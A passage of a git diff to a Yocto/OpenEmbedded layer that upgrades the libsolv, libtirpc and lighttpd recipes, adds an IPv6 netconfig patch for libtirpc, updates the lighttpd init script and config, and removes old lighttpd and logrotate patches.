-PACKAGES =+ "${PN}-tools ${PN}ext"
-
-FILES_${PN}-tools = "${bindir}/*"
-FILES_${PN}ext = "${libdir}/${PN}ext.so.*"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libsolv/libsolv_0.7.28.bb b/meta/recipes-extended/libsolv/libsolv_0.7.28.bb
new file mode 100644
index 0000000000..201059323a
--- /dev/null
+++ b/meta/recipes-extended/libsolv/libsolv_0.7.28.bb
@@ -0,0 +1,33 @@
+SUMMARY = "Library for solving packages and reading repositories"
+DESCRIPTION = "This is libsolv, a free package dependency solver using a satisfiability algorithm for solving packages and reading repositories"
+HOMEPAGE = "https://github.com/openSUSE/libsolv"
+BUGTRACKER = "https://github.com/openSUSE/libsolv/issues"
+SECTION = "devel"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.BSD;md5=62272bd11c97396d4aaf1c41bc11f7d8"
+
+DEPENDS = "expat zlib zstd"
+
+SRC_URI = "git://github.com/openSUSE/libsolv.git;branch=master;protocol=https \
+ file://0001-utils-Conside-musl-when-wrapping-qsort_r.patch \
+"
+
+SRCREV = "c8dbb3a77c86600ce09d4f80a504cf4e78a3c359"
+
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
+
+S = "${WORKDIR}/git"
+
+inherit cmake
+
+PACKAGECONFIG ??= "${@bb.utils.contains('PACKAGE_CLASSES','package_rpm','rpm','',d)}"
+PACKAGECONFIG[rpm] = "-DENABLE_RPMMD=ON -DENABLE_RPMDB=ON,,rpm"
+
+EXTRA_OECMAKE = "-DMULTI_SEMANTICS=ON -DENABLE_COMPLEX_DEPS=ON -DENABLE_ZSTD_COMPRESSION=ON"
+
+PACKAGES =+ "${PN}-tools ${PN}ext"
+
+FILES:${PN}-tools = "${bindir}/*"
+FILES:${PN}ext = "${libdir}/${PN}ext.so.*"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libtirpc/libtirpc/ipv6.patch b/meta/recipes-extended/libtirpc/libtirpc/ipv6.patch
new file mode 100644
index 0000000000..f746f986f4
--- /dev/null
+++ b/meta/recipes-extended/libtirpc/libtirpc/ipv6.patch
@@ -0,0 +1,52 @@
+From 077bbd32e8b7474dc5f153997732e1e6aec7fad6 Mon Sep 17 00:00:00 2001
+Message-Id: <077bbd32e8b7474dc5f153997732e1e6aec7fad6.1697120796.git.joerg.sommer@navimatix.de>
+From: =?UTF-8?q?J=C3=B6rg=20Sommer?= <joerg.sommer@navimatix.de>
+Date: Thu, 12 Oct 2023 16:22:59 +0200
+Subject: [PATCH] netconfig: remove tcp6, udp6 on --disable-ipv6
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+If the configuration for IPv6 is disabled, the netconfig should not contain
+settings for tcp6 and udp6.
+
+The test for the configure option didn't work, because it check the wrong
+variable.
+
+Signed-off-by: Jörg Sommer <joerg.sommer@navimatix.de>
+Upstream-Status: Submitted [libtirpc-devel@lists.sourceforge.net]
+Upstream-Status: Submitted [linux-nfs@vger.kernel.org]
+---
+ configure.ac | 2 +-
+ doc/Makefile.am | 5 +++++
+ 2 files changed, 6 insertions(+), 1 deletion(-)
+
+diff --git a/configure.ac b/configure.ac
+index fe6c517..b687f8d 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -64,7 +64,7 @@ fi
+ AC_ARG_ENABLE(ipv6,
+ [AC_HELP_STRING([--disable-ipv6], [Disable IPv6 support @<:@default=no@:>@])],
+ [],[enable_ipv6=yes])
+-AM_CONDITIONAL(INET6, test "x$disable_ipv6" != xno)
++AM_CONDITIONAL(INET6, test "x$enable_ipv6" != xno)
+ if test "x$enable_ipv6" != xno; then
+ AC_DEFINE(INET6, 1, [Define to 1 if IPv6 is available])
+ fi
+diff --git a/doc/Makefile.am b/doc/Makefile.am
+index d42ab90..b9678f6 100644
+--- a/doc/Makefile.am
++++ b/doc/Makefile.am
+@@ -2,3 +2,8 @@ dist_sysconf_DATA = netconfig bindresvport.blacklist
+
+ CLEANFILES = cscope.* *~
+ DISTCLEANFILES = Makefile.in
++
++if ! INET6
++install-exec-hook:
++ $(SED) -i '/^tcp6\|^udp6/d' "$(DESTDIR)$(sysconfdir)"/netconfig
++endif
+--
+2.34.1
+
diff --git a/meta/recipes-extended/libtirpc/libtirpc_1.2.6.bb b/meta/recipes-extended/libtirpc/libtirpc_1.3.4.bb
index 10a324c3b6..aa526e9e1c 100644
--- a/meta/recipes-extended/libtirpc/libtirpc_1.2.6.bb
+++ b/meta/recipes-extended/libtirpc/libtirpc_1.3.4.bb
@@ -9,18 +9,25 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=f835cce8852481e4b2bbbdd23b5e47f3 \
PROVIDES = "virtual/librpc"
-SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BP}.tar.bz2"
+SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BP}.tar.bz2 \
+ file://ipv6.patch \
+"
UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/libtirpc/files/libtirpc/"
UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)/"
-SRC_URI[md5sum] = "b25f9cc18bfad50f7c446c77f4ae00bb"
-SRC_URI[sha256sum] = "4278e9a5181d5af9cd7885322fdecebc444f9a3da87c526e7d47f7a12a37d1cc"
+SRC_URI[sha256sum] = "1e0b0c7231c5fa122e06c0609a76723664d068b0dba3b8219b63e6340b347860"
+
+CVE_STATUS[CVE-2021-46828] = "fixed-version: fixed in 1.3.3rc1 so not present in 1.3.3"
inherit autotools pkgconfig
-EXTRA_OECONF = "--disable-gssapi"
+PACKAGECONFIG ??= "\
+ ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
+"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6"
+PACKAGECONFIG[gssapi] = "--enable-gssapi,--disable-gssapi,krb5"
-do_install_append() {
- chown root:root ${D}${sysconfdir}/netconfig
+do_install:append() {
+ test -e ${D}${sysconfdir}/netconfig && chown root:root ${D}${sysconfdir}/netconfig
}
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch b/meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch
deleted file mode 100644
index f17bdce2c0..0000000000
--- a/meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From 22afc5d9aaa215c3c87ba21c77d47da44ab3b113 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 26 Aug 2016 18:20:32 +0300
-Subject: [PATCH] Use pkg-config for pcre dependency instead of -config script.
-
-RP 2014/5/22
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- configure.ac | 16 ++++++++++++----
- 1 file changed, 12 insertions(+), 4 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 5383cec..c29a902 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -651,10 +651,18 @@ AC_ARG_WITH([pcre],
- )
- AC_MSG_RESULT([$WITH_PCRE])
-
--if test "$WITH_PCRE" != no; then
-- if test "$WITH_PCRE" != yes; then
-- PCRE_LIB="-L$WITH_PCRE/lib -lpcre"
-- CPPFLAGS="$CPPFLAGS -I$WITH_PCRE/include"
-+if test "$WITH_PCRE" != "no"; then
-+ PKG_CHECK_MODULES(PCREPKG, [libpcre], [
-+ PCRE_LIB=${PCREPKG_LIBS}
-+ CPPFLAGS="$CPPFLAGS ${PCREPKG_CFLAGS}"
-+ ], [
-+ AC_MSG_ERROR([pcre pkgconfig not found, install the pcre-devel package or build with --without-pcre])
-+ ])
-+
-+ if test x"$PCRE_LIB" != x; then
-+ AC_DEFINE([HAVE_LIBPCRE], [1], [libpcre])
-+ AC_DEFINE([HAVE_PCRE_H], [1], [pcre.h])
-+ AC_SUBST(PCRE_LIB)
- else
- AC_PATH_PROG([PCRECONFIG], [pcre-config])
- if test -n "$PCRECONFIG"; then
---
-2.15.0
-
diff --git a/meta/recipes-extended/lighttpd/lighttpd/lighttpd b/meta/recipes-extended/lighttpd/lighttpd/lighttpd
index 82fbaa523b..f369dce42c 100644
--- a/meta/recipes-extended/lighttpd/lighttpd/lighttpd
+++ b/meta/recipes-extended/lighttpd/lighttpd/lighttpd
@@ -6,9 +6,14 @@ NAME=lighttpd
DESC="Lighttpd Web Server"
OPTS="-f /etc/lighttpd/lighttpd.conf"
+configtest() {
+ "$DAEMON" $OPTS -tt || exit 1
+}
+
case "$1" in
start)
echo -n "Starting $DESC: "
+ configtest
start-stop-daemon --start -x "$DAEMON" -- $OPTS
echo "$NAME."
;;
@@ -17,16 +22,26 @@ case "$1" in
start-stop-daemon --stop -x "$DAEMON"
echo "$NAME."
;;
- restart|force-reload)
+ restart)
echo -n "Restarting $DESC: "
+ configtest
start-stop-daemon --stop -x "$DAEMON"
sleep 1
start-stop-daemon --start -x "$DAEMON" -- $OPTS
echo "$NAME."
;;
+ reload|force-reload)
+ echo -n "Reloading $DESC: "
+ configtest
+ killall -USR1 "${DAEMON##*/}"
+ echo "$NAME."
+ ;;
+ configtest)
+ configtest
+ ;;
*)
N=/etc/init.d/$NAME
- echo "Usage: $N {start|stop|restart|force-reload}" >&2
+ echo "Usage: $N {start|stop|restart|reload|force-reload|configtest}" >&2
exit 1
;;
esac
diff --git a/meta/recipes-extended/lighttpd/lighttpd/lighttpd.conf b/meta/recipes-extended/lighttpd/lighttpd/lighttpd.conf
index 6e8402d242..47a6c93349 100644
--- a/meta/recipes-extended/lighttpd/lighttpd/lighttpd.conf
+++ b/meta/recipes-extended/lighttpd/lighttpd/lighttpd.conf
@@ -16,8 +16,6 @@ server.modules = (
# "mod_redirect",
# "mod_alias",
"mod_access",
-# "mod_cml",
-# "mod_trigger_b4_dl",
# "mod_auth",
# "mod_status",
# "mod_setenv",
@@ -27,11 +25,9 @@ server.modules = (
# "mod_evhost",
# "mod_userdir",
# "mod_cgi",
-# "mod_compress",
# "mod_ssi",
-# "mod_usertrack",
# "mod_expire",
-# "mod_secdownload",
+# "mod_deflate",
# "mod_rrdtool",
# "mod_webdav",
"mod_accesslog" )
@@ -47,9 +43,6 @@ server.errorlog = "/www/logs/lighttpd.error.log"
index-file.names = ( "index.php", "index.html",
"index.htm", "default.htm" )
-## set the event-handler (read the performance section in the manual)
-# server.event-handler = "freebsd-kqueue" # needed on OS X
-
# mimetype mapping
mimetype.assign = (
".pdf" => "application/pdf",
@@ -115,7 +108,6 @@ mimetype.assign = (
#### accesslog module
accesslog.filename = "/www/logs/access.log"
-debug.log-request-handling = "enable"
@@ -127,10 +119,6 @@ debug.log-request-handling = "enable"
# of the document-root
url.access-deny = ( "~", ".inc" )
-$HTTP["url"] =~ "\.pdf$" {
- server.range-requests = "disable"
-}
-
##
# which extensions should not be handle via static-file transfer
#
@@ -177,6 +165,7 @@ static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
#dir-listing.activate = "enable"
## enable debugging
+#debug.log-request-header-on-error = "enable"
#debug.log-request-header = "enable"
#debug.log-response-header = "enable"
#debug.log-request-handling = "enable"
@@ -194,8 +183,9 @@ static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
#server.groupname = "wwwrun"
#### compress module
-#compress.cache-dir = "/tmp/lighttpd/cache/compress/"
-#compress.filetype = ("text/plain", "text/html")
+#deflate.cache-dir = "/tmp/lighttpd/cache/compress/"
+#deflate.mimetypes = ("text/plain", "text/html")
+#deflate.allowed-encodings = ("gzip")
#### proxy module
## read proxy.txt for more info
@@ -227,7 +217,8 @@ static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
#### SSL engine
#ssl.engine = "enable"
-#ssl.pemfile = "server.pem"
+#ssl.pemfile = "/path/to/fullchain.pem"
+#ssl.privkey = "/path/to/privkey.pem"
#### status module
#status.status-url = "/server-status"
@@ -291,19 +282,6 @@ static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
#setenv.add-request-header = ( "TRAV_ENV" => "mysql://user@host/db" )
#setenv.add-response-header = ( "X-Secret-Message" => "42" )
-## for mod_trigger_b4_dl
-# trigger-before-download.gdbm-filename = "/home/weigon/testbase/trigger.db"
-# trigger-before-download.memcache-hosts = ( "127.0.0.1:11211" )
-# trigger-before-download.trigger-url = "^/trigger/"
-# trigger-before-download.download-url = "^/download/"
-# trigger-before-download.deny-url = "http://127.0.0.1/index.html"
-# trigger-before-download.trigger-timeout = 10
-
-## for mod_cml
-## don't forget to add index.cml to server.indexfiles
-# cml.extension = ".cml"
-# cml.memcache-hosts = ( "127.0.0.1:11211" )
-
#### variable usage:
## variable name without "." is auto prefixed by "var." and becomes "var.bar"
#bar = 1
@@ -328,4 +306,4 @@ static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
#var.a=1
# include other config file fragments from lighttpd.d subdir
-include_shell "find /etc/lighttpd.d -maxdepth 1 -name '*.conf' -exec cat {} \;"
+include "/etc/lighttpd.d/*.conf"
diff --git a/meta/recipes-extended/lighttpd/lighttpd_1.4.55.bb b/meta/recipes-extended/lighttpd/lighttpd_1.4.55.bb
deleted file mode 100644
index 7a255ce2f2..0000000000
--- a/meta/recipes-extended/lighttpd/lighttpd_1.4.55.bb
+++ /dev/null
@@ -1,83 +0,0 @@
-SUMMARY = "Lightweight high-performance web server"
-HOMEPAGE = "http://www.lighttpd.net/"
-BUGTRACKER = "http://redmine.lighttpd.net/projects/lighttpd/issues"
-
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=e4dac5c6ab169aa212feb5028853a579"
-
-SECTION = "net"
-RDEPENDS_${PN} = "lighttpd-module-dirlisting \
- lighttpd-module-indexfile \
- lighttpd-module-staticfile"
-RRECOMMENDS_${PN} = "lighttpd-module-access \
- lighttpd-module-accesslog"
-
-SRC_URI = "http://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-${PV}.tar.xz \
- file://index.html.lighttpd \
- file://lighttpd.conf \
- file://lighttpd \
- file://0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch \
- "
-
-SRC_URI[md5sum] = "be4bda2c28bcbdac6eb941528f6edf03"
-SRC_URI[sha256sum] = "6a0b50e9c9d5cc3d9e48592315c25a2d645858f863e1ccd120507a30ce21e927"
-
-PACKAGECONFIG ??= "openssl pcre zlib \
- ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)} \
-"
-
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6"
-PACKAGECONFIG[mmap] = "--enable-mmap,--disable-mmap"
-PACKAGECONFIG[libev] = "--with-libev,--without-libev,libev"
-PACKAGECONFIG[mysql] = "--with-mysql,--without-mysql,mariadb"
-PACKAGECONFIG[ldap] = "--with-ldap,--without-ldap,openldap"
-PACKAGECONFIG[attr] = "--with-attr,--without-attr,attr"
-PACKAGECONFIG[valgrind] = "--with-valgrind,--without-valgrind,valgrind"
-PACKAGECONFIG[openssl] = "--with-openssl,--without-openssl,openssl"
-PACKAGECONFIG[krb5] = "--with-krb5,--without-krb5,krb5"
-PACKAGECONFIG[pcre] = "--with-pcre,--without-pcre,libpcre"
-PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib"
-PACKAGECONFIG[bzip2] = "--with-bzip2,--without-bzip2,bzip2"
-PACKAGECONFIG[webdav-props] = "--with-webdav-props,--without-webdav-props,libxml2 sqlite3"
-PACKAGECONFIG[webdav-locks] = "--with-webdav-locks,--without-webdav-locks,util-linux"
-PACKAGECONFIG[gdbm] = "--with-gdbm,--without-gdbm,gdbm"
-PACKAGECONFIG[memcache] = "--with-memcached,--without-memcached,libmemcached"
-PACKAGECONFIG[lua] = "--with-lua,--without-lua,lua"
-
-EXTRA_OECONF += "--enable-lfs --without-fam"
-
-inherit autotools pkgconfig update-rc.d gettext systemd
-
-INITSCRIPT_NAME = "lighttpd"
-INITSCRIPT_PARAMS = "defaults 70"
-
-SYSTEMD_SERVICE_${PN} = "lighttpd.service"
-
-do_install_append() {
- install -d ${D}${sysconfdir}/init.d ${D}${sysconfdir}/lighttpd ${D}${sysconfdir}/lighttpd.d ${D}/www/pages/dav
- install -m 0755 ${WORKDIR}/lighttpd ${D}${sysconfdir}/init.d
- install -m 0644 ${WORKDIR}/lighttpd.conf ${D}${sysconfdir}/lighttpd
- install -m 0644 ${WORKDIR}/index.html.lighttpd ${D}/www/pages/index.html
-
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${S}/doc/systemd/lighttpd.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@SBINDIR@,${sbindir},g' \
- -e 's,@SYSCONFDIR@,${sysconfdir},g' \
- -e 's,@BASE_BINDIR@,${base_bindir},g' \
- ${D}${systemd_unitdir}/system/lighttpd.service
- #For FHS compliance, create symbolic links to /var/log and /var/tmp for logs and temporary data
- ln -sf ${localstatedir}/log ${D}/www/logs
- ln -sf ${localstatedir}/tmp ${D}/www/var
-}
-
-FILES_${PN} += "${sysconfdir} /www"
-
-CONFFILES_${PN} = "${sysconfdir}/lighttpd/lighttpd.conf"
-
-PACKAGES_DYNAMIC += "^lighttpd-module-.*"
-
-python populate_packages_prepend () {
- lighttpd_libdir = d.expand('${libdir}')
- do_split_packages(d, lighttpd_libdir, r'^mod_(.*)\.so$', 'lighttpd-module-%s', 'Lighttpd module for %s', extra_depends='')
-}
diff --git a/meta/recipes-extended/lighttpd/lighttpd_1.4.75.bb b/meta/recipes-extended/lighttpd/lighttpd_1.4.75.bb
new file mode 100644
index 0000000000..fc3b7e005d
--- /dev/null
+++ b/meta/recipes-extended/lighttpd/lighttpd_1.4.75.bb
@@ -0,0 +1,76 @@
+SUMMARY = "Lightweight high-performance web server"
+HOMEPAGE = "http://www.lighttpd.net/"
+DESCRIPTION = "Lightweight high-performance web server is designed and optimized for high performance environments. With a small memory footprint compared to other web-servers, effective management of the cpu-load, and advanced feature set (FastCGI, SCGI, Auth, Output-Compression, URL-Rewriting and many more)"
+BUGTRACKER = "http://redmine.lighttpd.net/projects/lighttpd/issues"
+
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=e4dac5c6ab169aa212feb5028853a579"
+
+SECTION = "net"
+RDEPENDS:${PN} = "lighttpd-module-dirlisting"
+RRECOMMENDS:${PN} = "lighttpd-module-accesslog"
+
+SRC_URI = "http://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-${PV}.tar.xz \
+ file://index.html.lighttpd \
+ file://lighttpd.conf \
+ file://lighttpd \
+ "
+
+SRC_URI[sha256sum] = "8b721ca939d312afaa6ef31dcbd6afb5161ed385ac828e6fccd4c5b76be189d6"
+
+DEPENDS = "virtual/crypt"
+
+PACKAGECONFIG ??= "openssl pcre zlib \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)} \
+"
+
+PACKAGECONFIG[libev] = "-Dwith_libev=enabled,-Dwith_libev=disabled,libev"
+PACKAGECONFIG[mysql] = "-Dwith_mysql=enabled,-Dwith_mysql=disabled,mariadb"
+PACKAGECONFIG[ldap] = "-Dwith_ldap=enabled,-Dwith_ldap=disabled,openldap"
+PACKAGECONFIG[attr] = "-Dwith_xattr=true,-Dwith_xattr=false,attr"
+PACKAGECONFIG[openssl] = "-Dwith_openssl=true,-Dwith_openssl=false,openssl"
+PACKAGECONFIG[krb5] = "-Dwith_krb5=enabled,-Dwith_krb5=disabled,krb5"
+PACKAGECONFIG[pcre] = "-Dwith_pcre=pcre2,-Dwith_pcre=disabled,libpcre2"
+PACKAGECONFIG[zlib] = "-Dwith_zlib=enabled,-Dwith_zlib=disabled,zlib"
+PACKAGECONFIG[bzip2] = "-Dwith_bzip=enabled,-Dwith_bzip=disabled,bzip2"
+PACKAGECONFIG[webdav-props] = "-Dwith_webdav_props=enabled,-Dwith_webdav_props=disabled,libxml2 sqlite3"
+PACKAGECONFIG[webdav-locks] = "-Dwith_webdav_locks=enabled,-Dwith_webdav_locks=disabled,util-linux"
+PACKAGECONFIG[lua] = "-Dwith_lua=true,-Dwith_lua=false,lua"
+PACKAGECONFIG[zstd] = "-Dwith_zstd=enabled,-Dwith_zstd=disabled,zstd"
+
+inherit meson pkgconfig update-rc.d gettext systemd
+
+INITSCRIPT_NAME = "lighttpd"
+INITSCRIPT_PARAMS = "defaults 70"
+
+SYSTEMD_SERVICE:${PN} = "lighttpd.service"
+
+do_install:append() {
+ install -d ${D}${sysconfdir}/init.d ${D}${sysconfdir}/lighttpd ${D}${sysconfdir}/lighttpd.d ${D}/www/pages/dav
+ install -m 0755 ${WORKDIR}/lighttpd ${D}${sysconfdir}/init.d
+ install -m 0644 ${WORKDIR}/lighttpd.conf ${D}${sysconfdir}/lighttpd
+ install -m 0644 ${WORKDIR}/index.html.lighttpd ${D}/www/pages/index.html
+
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${S}/doc/systemd/lighttpd.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@SBINDIR@,${sbindir},g' \
+ -e 's,@SYSCONFDIR@,${sysconfdir},g' \
+ -e 's,@BASE_BINDIR@,${base_bindir},g' \
+ ${D}${systemd_system_unitdir}/lighttpd.service
+ #For FHS compliance, create symbolic links to /var/log and /var/tmp for logs and temporary data
+ ln -sf ${localstatedir}/log ${D}/www/logs
+ ln -sf ${localstatedir}/tmp ${D}/www/var
+}
+
+# bitbake.conf sets ${libdir}/${BPN}/* in FILES, which messes up the module split.
+# So we re-do the variable.
+FILES:${PN} = "${sysconfdir} /www ${sbindir}"
+
+CONFFILES:${PN} = "${sysconfdir}/lighttpd/lighttpd.conf"
+
+PACKAGES_DYNAMIC += "^lighttpd-module-.*"
+
+python populate_packages:prepend () {
+ lighttpd_libdir = d.expand('${prefix}/lib/lighttpd')
+ do_split_packages(d, lighttpd_libdir, r'^mod_(.*)\.so$', 'lighttpd-module-%s', 'Lighttpd module for %s', extra_depends='')
+}
diff --git a/meta/recipes-extended/logrotate/logrotate/0001-Update-the-manual.patch b/meta/recipes-extended/logrotate/logrotate/0001-Update-the-manual.patch
deleted file mode 100644
index 50a3852078..0000000000
--- a/meta/recipes-extended/logrotate/logrotate/0001-Update-the-manual.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-From 3e2cfa88b6538bb0fee3d9a6e99622055d05ac4a Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Tue, 17 Feb 2015 21:14:37 -0800
-Subject: [PATCH] Update the manual
-
-Update the manual for rotating on different filesystems.
-
-Upstream-Status: Pending
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-
----
- logrotate.8.in | 10 ++++------
- 1 file changed, 4 insertions(+), 6 deletions(-)
-
-diff --git a/logrotate.8.in b/logrotate.8.in
-index 98fea91..70b4c44 100644
---- a/logrotate.8.in
-+++ b/logrotate.8.in
-@@ -202,12 +202,10 @@ at all (use with caution, may waste performance and disk space). Default is 0.
-
- .TP
- \fBolddir \fIdirectory\fR
--Logs are moved into \fIdirectory\fR for rotation. The \fIdirectory\fR must be
--on the same physical device as the log file being rotated, unless \fBcopy\fR,
--\fBcopytruncate\fR or \fBrenamecopy\fR option is used. The \fIdirectory\fR
--is assumed to be relative to the directory holding the log file
--unless an absolute path name is specified. When this option is used all
--old versions of the log end up in \fIdirectory\fR. This option may be
-+Logs are moved into \fIdirectory\fR for rotation. The \fIdirectory\fR
-+is assumed to be relative to the directory holding the log file unless
-+an absolute path name is specified. When this option is used all old
-+versions of the log end up in \fIdirectory\fR. This option may be
- overridden by the \fBnoolddir\fR option.
-
- .TP
---
-2.24.0
-
diff --git a/meta/recipes-extended/logrotate/logrotate/act-as-mv-when-rotate.patch b/meta/recipes-extended/logrotate/logrotate/act-as-mv-when-rotate.patch
deleted file mode 100644
index 671fce4ac8..0000000000
--- a/meta/recipes-extended/logrotate/logrotate/act-as-mv-when-rotate.patch
+++ /dev/null
@@ -1,149 +0,0 @@
-From 17d57a2a923a4af53c8910a9999aebeab3f5d83a Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Tue, 17 Feb 2015 21:08:07 -0800
-Subject: [PATCH] Act as the "mv" command when rotate log
-
-Act as the "mv" command when rotate log, first rename, if failed, then
-read and write.
-
-Upstream-Status: Pending
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-
----
- logrotate.c | 71 ++++++++++++++++++++++++++++++++++++++++++++---------
- 1 file changed, 59 insertions(+), 12 deletions(-)
-
-diff --git a/logrotate.c b/logrotate.c
-index 45b3eb6..231371a 100644
---- a/logrotate.c
-+++ b/logrotate.c
-@@ -1463,6 +1463,53 @@ static int findNeedRotating(const struct logInfo *log, unsigned logNum, int forc
- return 0;
- }
-
-+/* Act as the "mv" command, if rename failed, then read the old file and
-+ * write to new file. The function which invokes the mvFile will use
-+ * the strerror(errorno) to handle the error message, so we don't have
-+ * to print the error message here */
-+
-+int mvFile (char *oldName, char *newName, struct logInfo *log, acl_type acl)
-+{
-+ struct stat sbprev;
-+ int fd_old, fd_new, n;
-+ char buf[BUFSIZ];
-+
-+ /* Do the rename first */
-+ if (!rename(oldName, newName))
-+ return 0;
-+
-+ /* If the errno is EXDEV, then read old file, write newfile and
-+ * remove the oldfile */
-+ if (errno == EXDEV) {
-+ /* Open the old file to read */
-+ if ((fd_old = open(oldName, O_RDONLY)) < 0)
-+ return 1;
-+
-+ /* Create the file to write, keep the same attribute as the old file */
-+ if (stat(oldName, &sbprev))
-+ return 1;
-+ else {
-+ if ((fd_new = createOutputFile(newName,
-+ O_WRONLY | O_CREAT | O_TRUNC, &sbprev, acl, 0)) < 0 )
-+ return 1;
-+ }
-+
-+ /* Read and write */
-+ while ((n = read(fd_old, buf, BUFSIZ)) > 0)
-+ if (write(fd_new, buf, n) != n)
-+ return 1;
-+
-+ if ((close(fd_old) < 0) ||
-+ removeLogFile(oldName, log) ||
-+ (close(fd_new) < 0))
-+ return 1;
-+
-+ return 0;
-+ }
-+
-+ return 1;
-+}
-+
- /* find the rotated file with the highest index */
- static int findLastRotated(const struct logNames *rotNames,
- const char *fileext, const char *compext)
-@@ -1958,15 +2005,15 @@ static int prerotateSingleLog(const struct logInfo *log, unsigned logNum,
- }
-
- message(MESS_DEBUG,
-- "renaming %s to %s (rotatecount %d, logstart %d, i %d), \n",
-+ "moving %s to %s (rotatecount %d, logstart %d, i %d), \n",
- oldName, newName, rotateCount, logStart, i);
-
-- if (!debug && rename(oldName, newName)) {
-+ if (!debug && mvFile(oldName, newName, log, prev_acl)) {
- if (errno == ENOENT) {
- message(MESS_DEBUG, "old log %s does not exist\n",
- oldName);
- } else {
-- message(MESS_ERROR, "error renaming %s to %s: %s\n",
-+ message(MESS_ERROR, "error moving %s to %s: %s\n",
- oldName, newName, strerror(errno));
- hasErrors = 1;
- }
-@@ -2051,10 +2098,10 @@ static int rotateSingleLog(const struct logInfo *log, unsigned logNum,
- return 1;
- }
-
-- message(MESS_DEBUG, "renaming %s to %s\n", log->files[logNum],
-+ message(MESS_DEBUG, "moving %s to %s\n", log->files[logNum],
- tmpFilename);
-- if (!debug && !hasErrors && rename(log->files[logNum], tmpFilename)) {
-- message(MESS_ERROR, "failed to rename %s to %s: %s\n",
-+ if (!debug && !hasErrors && mvFile(log->files[logNum], rotNames->finalName, log, prev_acl)) {
-+ message(MESS_ERROR, "failed to move %s to %s: %s\n",
- log->files[logNum], tmpFilename,
- strerror(errno));
- hasErrors = 1;
-@@ -2063,11 +2110,11 @@ static int rotateSingleLog(const struct logInfo *log, unsigned logNum,
- free(tmpFilename);
- }
- else {
-- message(MESS_DEBUG, "renaming %s to %s\n", log->files[logNum],
-+ message(MESS_DEBUG, "moving %s to %s\n", log->files[logNum],
- rotNames->finalName);
- if (!debug && !hasErrors &&
-- rename(log->files[logNum], rotNames->finalName)) {
-- message(MESS_ERROR, "failed to rename %s to %s: %s\n",
-+ mvFile(log->files[logNum], rotNames->finalName, log, prev_acl)) {
-+ message(MESS_ERROR, "failed to move %s to %s: %s\n",
- log->files[logNum], rotNames->finalName,
- strerror(errno));
- hasErrors = 1;
-@@ -2480,7 +2527,7 @@ static int rotateLogSet(const struct logInfo *log, int force)
- return hasErrors;
- }
-
--static int writeState(const char *stateFilename)
-+static int writeState(struct logInfo *log, char *stateFilename)
- {
- struct logState *p;
- FILE *f;
-@@ -2659,7 +2706,7 @@ static int writeState(const char *stateFilename)
- fclose(f);
-
- if (error == 0) {
-- if (rename(tmpFilename, stateFilename)) {
-+ if (mvFile(tmpFilename, stateFilename, log, prev_acl)) {
- message(MESS_ERROR, "error renaming temp state file %s to %s: %s\n",
- tmpFilename, stateFilename, strerror(errno));
- unlink(tmpFilename);
-@@ -3073,7 +3120,7 @@ int main(int argc, const char **argv)
- rc |= rotateLogSet(log, force);
-
- if (!debug)
-- rc |= writeState(stateFile);
-+ rc |= writeState(log, stateFile);
-
- return (rc != 0);
- }
diff --git a/meta/recipes-extended/logrotate/logrotate/disable-check-different-filesystems.patch b/meta/recipes-extended/logrotate/logrotate/disable-check-different-filesystems.patch
deleted file mode 100644
index d7f9a02cc8..0000000000
--- a/meta/recipes-extended/logrotate/logrotate/disable-check-different-filesystems.patch
+++ /dev/null
@@ -1,36 +0,0 @@
